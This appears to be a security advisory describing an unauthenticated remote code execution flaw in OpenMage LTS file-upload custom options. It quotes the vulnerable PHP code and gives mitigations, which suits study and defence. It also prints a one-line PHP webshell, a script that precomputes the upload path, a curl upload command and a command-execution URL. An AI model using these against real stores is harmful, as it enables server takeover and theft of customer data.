OpenMage LTS, the community-maintained fork of Magento 1 designed to provide security updates after Adobe ended official support in June 2020, exposes e-commerce sites to remote code execution through a flawed file upload mechanism in product custom options.
Attackers bypass the upload filter using extensions like .phtml, .phar, or .php3, which the code ignores. Uploaded files land in the publicly accessible media/custom_options/quote/ directory. Without explicit server-side restrictions on script execution, attackers execute arbitrary PHP code via direct URL access. This affects all OpenMage LTS versions using the default configuration, pinpointed to app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php lines 230-237.
Root Cause: Incomplete Blocklist
The vulnerability stems from a partial blacklist in forbidden_extensions, limited to just php and exe. The code invokes Zend_File_Transfer_Adapter_Http’s ExcludeExtension validator solely on this duo, overlooking a fuller protected_extensions list elsewhere that blocks php3, php4, php5, php7, phtml, pht, htaccess, and others like jsp, pl, py.
Here’s the vulnerable snippet:
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden);
// Only blocks php,exe!
}
}
This oversight dates back to Magento 1’s Zend Framework roots, where the config at app/code/core/Mage/Catalog/etc/config.xml:824 hardcodes the weak list. OpenMage inherited it without tightening.
Exploitation: Predictable and Direct
Exploitation requires no authentication if custom file options are enabled on products—a common setup for personalized goods like engraved items or custom prints. Attackers upload a webshell via the storefront, say during a mock quote or cart add.
OpenMage stores files deterministically: the path uses the first two characters of the original filename as subdirectories (e.g., shell.phtml → s/h/), followed by an MD5 hash of the file’s raw bytes plus the extension. Attackers precompute both since they control filename and payload.
Example payload and path calculation:
SHELL_CONTENT='<?php system($_GET["cmd"]); ?>'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell.phtml" | cut -c1-1)/$(echo "shell.phtml" | cut -c2-2) # s/h/
FULL_PATH="media/custom_options/quote/${PREFIX}/${HASH}.phtml"
echo "Access: https://target.com/$FULL_PATH?cmd=id"
Upload via cURL:
curl -X POST "https://target.com/add-to-cart-or-quote-endpoint" \
-F "options[FILE_OPTION_ID]=@shell.phtml" \
# Include other required form fields for product/quote
On Apache with mod_php or PHP-FPM configured to handle .phtml (default in many setups), the shell executes immediately. Tests confirm success on stock OpenMage LTS with sample data.
Why predictable? No randomness beyond attacker-chosen inputs. No CSRF token blocks unauthenticated POSTs in many configs.
Implications and Fixes
This RCE grants full server control: data theft, ransomware, crypto-miners, or backdoors. Magento 1 powers ~150,000 sites per BuiltWith scans (mid-2024), with thousands on OpenMage LTS clinging to legacy customizations. E-commerce downtime costs $100K+ hourly for mid-sized stores; breaches amplify to millions in fines under PCI-DSS.
Skeptically, OpenMage maintainers respond to reports—check GitHub for patches post-advisory. But reliance on a 15-year-old codebase invites such gaps. Vendors should:
- Disable custom file options if unused.
- Patch: Expand
forbidden_extensionsto matchprotected_extensions. - Server-side: Add
<Directory /path/to/media/custom_options> php_flag engine off </Directory>or deny*.phtmlin Nginx/Apache. - Migrate to Magento 2/Adobe Commerce or Shopify—OpenMage buys time, not eternity.
Scan with tools like Nuclei or custom scripts. If running OpenMage, assume compromise until mitigated; rotate all secrets. This underscores legacy software’s debt: security forks patch knowns but unearth new ones.
